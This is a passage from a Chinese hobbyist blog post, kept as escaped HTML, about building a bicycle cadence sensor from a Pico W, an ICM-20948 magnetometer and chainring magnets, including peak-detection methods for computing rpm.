        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-2&quot;&gt;&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-3&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-4&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-5&quot;&gt;&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-6&quot;&gt;&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-7&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-8&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-9&quot;&gt;&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-10&quot;&gt;&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-11&quot;&gt;&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;大致思路&quot;&gt;大致思路&lt;&#x2F;h2&gt;
&lt;p&gt;貌似市面上卖的踏频器都是绑在曲柄上，通过陀螺仪检测旋转。老式的踏频器是通过磁铁和霍尔元件来检测。我觉得磁力方案要比陀螺仪方案简单，所以选择在牙盘内侧吸上磁铁（下图黄色部分&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；在立管最靠近牙盘的部分放上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;传感器（下图蓝色部分&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；最后把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;放在比较平坦的下管（下图红色部分&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230831_133324068-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230831_133324068-optim.jpg&quot;
	alt=&quot;牙盘部分画上了黄色，立管正对牙盘的地方涂上了蓝色，下管靠近五通的部分圈上了红色&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;之所以把磁铁吸在牙盘上，因为全车只有这里是钢制的。如果可以的话，我想把它们放在没有机械结构的左边。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;购物清单&quot;&gt;购物清单&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Qwiic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;口、JST-PH&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;口的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W（图中紫色的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Qwiic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;口的磁强计（图中树莓上面的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;Qwiic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;连接线（图中左侧&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;JST-PH&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;口的电池盒（图中右侧&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;磁铁（太常见了，就没有照&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230923_201010061-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230923_201010061-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我害怕触发烟雾警报器，不敢用电烙铁，所以我想要留好接口的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W。手头上虽然有符合要求的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger 2040
W，但我打算拿它干别的。最后我相中了引出三个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Qwiic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接口、附带多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LED&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和蜂鸣器的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Maker
Pi Pico
Mini（紫色板子后面是预先焊好的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;——回过头来看，这个选择似乎是个败笔。&lt;&#x2F;p&gt;
&lt;p&gt;选择&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pimoroni&#x2F;icm20948-python&quot;&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读取数据的库&lt;&#x2F;a&gt;。我只需要把其中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;I&lt;sup&gt;2&lt;&#x2F;sup&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SMBus&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库替换成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MicroPython&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;machine.I2C&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就能用了。&lt;&#x2F;p&gt;
&lt;p&gt;电池方面，我不敢用裸露的锂电池，更倾向使用威力较小的普通电池。具体规格上我没多想，随便买了容纳两块七号电池的盒子。&lt;&#x2F;p&gt;
&lt;p&gt;如果我是学物理的，也许会通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Datasheets、牙盘到立柱的距离和各种磁铁的磁力来计算出我需要多大、多强的磁铁。但我的物理已经快忘光了，所以凭着感觉买了一些直径&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;毫米，厚度&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;毫米，号称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;N45&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的铷磁铁。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;收集数据&quot;&gt;收集数据&lt;&#x2F;h2&gt;
&lt;p&gt;等硬件到货了，首先要验证能不能仅用它们检测踏频。而验证的第一步，当然是收集牙盘转动的数据。&lt;&#x2F;p&gt;
&lt;p&gt;把各个零件在预想的位置上固定好。然后用手倒转曲柄来假装骑车，记录磁强计&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X、Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴上的读数。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230828_181555177-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230828_181555177-optim.jpg&quot;
	alt=&quot;牙盘内部吸了一块小磁铁，下管固定住了Pico W，而立管底部则固定住了ICM-20948&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230828_181619406-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230828_181619406-optim.jpg&quot;
	alt=&quot;笔记本和下管上的Pico W用USB线相连&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中磁强计的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴是穿过芯片正面垂直向下的。我在固定时，尽量把芯片正面正对着牙盘，这样等磁铁转过来时，应该能在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴读到很大的读数。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Pasted image 20230828201900-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Pasted image 20230828201900-fs8.png&quot;
	alt=&quot;ICM-20948的Datasheet中的示意图，磁强计的Z轴从芯片正面穿入芯片&quot;
	height=&quot;547&quot;
	width=&quot;978&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;作图&quot;&gt;作图&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;一块磁铁&quot;&gt;一块磁铁&lt;&#x2F;h3&gt;
&lt;p&gt;当然，我不能仅从数字看出什么规律。我得把它（Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴读数和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X、Y、Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴合成的向量长度）画成图像才行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;B-vs-T.svg&quot; alt=&quot;磁感应强度随时间变化图，像是有波峰波谷的散点图&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里我只截取了两个波峰，代表曲柄转了两圈。可以看出磁铁远离传感器时，大概有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;50µT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的读数；当磁铁离传感器最近时，磁感应强度能飙升到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1700µT。不过大部分数据集中在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;250µT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之内——这很好理解，因为磁铁大部分时间远离传感器。这似乎带来了新的问题——为了省电，势必要增大采样间隔，可间隔太大又有可能会漏过峰值。也许可以换更大更强的磁铁，或者用更多的磁铁来抵消掉增大间隔带来的问题；也许增大间隔带来的问题不会大到需要解决。&lt;&#x2F;p&gt;
&lt;p&gt;我不太清楚为什么&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴读数在曲柄刚转走时会出现负值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;&quot;&gt;X、Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴&lt;&#x2F;h3&gt;
&lt;p&gt;我有点好奇把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X、Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴的读数加入考虑范围是什么样子的，所以用三个轴的分量合成了总量，但和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴趋势区别不大。那单独画&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数据呢？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;B-vs-T-xy.svg&quot; alt=&quot;磁感应强度随时间变化图（X、Y轴）&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;两个轴的数值接近水平镜像，这是因为我在固定传感器时恰好让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴都&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;45&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;度斜着指向了天空；如果我让它俩都指向后轮的话，就会同正同负；要是让其中一个竖直指向天空，那估计都读不出什么变化。&lt;&#x2F;p&gt;
&lt;p&gt;这种偶然的安装方式启发我以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X、Y&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;轴数据颠倒正负号的时机来检测周期。不过我不希望在安装时要同时考虑三个轴的方向，所以还是打算以合成的总量为主。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;-1&quot;&gt;更多磁铁&lt;&#x2F;h3&gt;
&lt;p&gt;画完单个磁铁的图后，我觉得峰谷值有些小，所以又在已有磁铁上加了一块。由于两次实验的转速不同，所以请大家在对比时忽略横坐标。单就峰值来看，两块磁铁已经快到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;能检测的最大磁感应强度&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4912µT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;B-vs-T-2.svg&quot; alt=&quot;两块磁铁的磁感应强度随时间变化图&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;目前我倾向于用两块磁铁，因为我一下买了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;块，害怕用不完。而且我出去骑了一圈，快的时候有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;30km&#x2F;h，两块磁铁仍然牢牢地固定在原地，没有被甩出去。所以两块磁铁即使不是浑然一体，其连接的牢固程度不用担心。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-2&quot;&gt;峰值检测&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;-3&quot;&gt;Eli Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;peakdet&lt;&#x2F;h3&gt;
&lt;p&gt;已知曲柄转一圈，会产生一个峰值。所以检测转圈的问题可以转换成检测峰值的问题。峰值么，就是比左边、右边的点都高，所以可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;max(data[i-1], data[i+1]) &amp;lt; data[i]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来检测，结果如下图的橙叉：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;B-vs-T-2-peaks.svg&quot; alt=&quot;两块磁铁的磁感应强度随时间变化图，绿色十字精确地标在了峰值，橙叉标注了峰值和其他不是峰值的点&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出有些微小的凸起也被当成峰值了。如果某点只有比后续点高&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1000µT（设为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Δ）的才算峰值，这样又能标出上图的绿十字——比橙叉准多了。&lt;&#x2F;p&gt;
&lt;p&gt;什么？你说差的也不多？那我们可以拿波动更大的单个磁铁的数据作比较：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;B-vs-T-peaks.svg&quot; alt=&quot;两块磁铁的磁感应强度随时间变化图，绿色十字仍然精准地标在了峰值，橙叉标注了峰值和很多不是峰值的点&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看出，加了阈值的检测方法确实比朴素的比大小更准确。&lt;&#x2F;p&gt;
&lt;p&gt;其实这种加阈值的峰值检测方法来源于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;billauer.co.il&#x2F;blog&#x2F;2009&#x2F;01&#x2F;peakdet-matlab-octave&#x2F;&quot;&gt;Eli
Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的博客&lt;&#x2F;a&gt;。这个算法的大意就是遍历所有数据，记录遇到的最大值。假设新遇到的点小于最大值减阈值，就意味着先前遇到的最大值是峰值。这也是为什么上图中最后一个峰值没有被这种方法找到：因为它需要差距足够大的后续值（大过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Δ&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，才能确定前面遇到的是峰值——这对我们来说是好事，想象你在等红灯时磁铁正好在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旁边，造成持续偏高的读数。那时你一定不想让其中任意一个读数被当成转了一圈才应该出现的峰值。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;22583391&#x2F;peak-signal-detection-in-realtime-timeseries-data&#x2F;22640362#22640362&quot;&gt;这条&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;StackOverflow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也讨论了峰值检测的算法&lt;&#x2F;a&gt;，我觉得相比&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eli
Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方法有些复杂，所以没有采用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;-4&quot;&gt;检测上升边？&lt;&#x2F;h3&gt;
&lt;p&gt;其实我最开始想到的检测曲柄转圈的方法不是检测峰值，而是检测上升边。大概方法是记住前面的最小值，如果此时碰到了比最小值大大约&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;½&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个峰谷值的点，则记为一次上升。&lt;&#x2F;p&gt;
&lt;p&gt;从需要手动输入一个值的角度来看，这方法看起来和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Eli
Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的峰值检测算法有些相似。但输入的值恰好要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;½&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个峰谷值：大了有可能检测不到上升边；小了又可能把一条边当好几条边。Eli
Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的方法就对要输入的值（Δ）没什么限制，因为他的方法在检测到峰值以后，会去寻找谷值，找到谷值才会再找峰值。而判定谷值这个动作是在遇到比最小值大&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Δ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的后续点时才完成的，也就是说，在真正走过波谷之前不会再检测峰值。所以，Eli
Billaue&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Δ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不用特意设成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;½&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个峰谷值，因为他的算法强调了两个波峰之间一定有个波谷（假设找完峰值不找谷值直接找下一个峰值，就需要设成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;½&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个峰谷值了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-5&quot;&gt;峰值转踏频&lt;&#x2F;h2&gt;
&lt;p&gt;踏频的单位是圈每分钟（rpm&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，所以最正确的计算方式当然是维护一个过去一分钟峰值时间点的队列，队列长度就是踏频。不过这种方法不能很好地反映突变情况——想象维持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;59&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒高踏频，在最后一秒突然慢了下来的情景。&lt;&#x2F;p&gt;
&lt;p&gt;那只记录前一秒的数据可以么？我们可以在每次达到峰值时给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;steps&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;加一，然后设置一个每秒的时钟中断，在中断处理程序里根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;steps&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;计算踏频，再清零&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;steps。其实也不行，因为我只在牙盘的一个点放有磁铁，这一秒能检测到的要么没转圈，要么转一圈（我估计我不会有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;120rpm&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的踏频&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以计算出的踏频一定只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;60rpm。&lt;&#x2F;p&gt;
&lt;p&gt;给牙盘上平均放置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;n&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;块磁铁，可以在一秒内检测到最小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&#x2F;n&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的转动。我个人觉得这样比较麻烦，所以还是只保留一块（叠加的）磁铁，用上一次和这次峰值之间相距多少微秒，来计算保持这个节奏一分钟的踏频。&lt;&#x2F;p&gt;
&lt;p&gt;具体地说，是在每次峰值时调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;utime.ticks_ms&lt;&#x2F;code&gt;，再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;utime.ticks_diff&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得出时间差。不过这有个问题：&lt;code&gt;utime.ticks_ms&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只能返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TICKS_PERIOD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;区间的值，&lt;code&gt;utime.ticks_diff&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也只保证差距在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TICKS_PERIOD&#x2F;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之间才有效。那&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TICKS_PERIOD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到底是多少？&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.micropython.org&#x2F;en&#x2F;v1.9.3&#x2F;pyboard&#x2F;library&#x2F;utime.html?highlight=ticks_period#utime.ticks_ms&quot;&gt;文档&lt;&#x2F;a&gt;说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The wrap-around value is not explicitly exposed.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
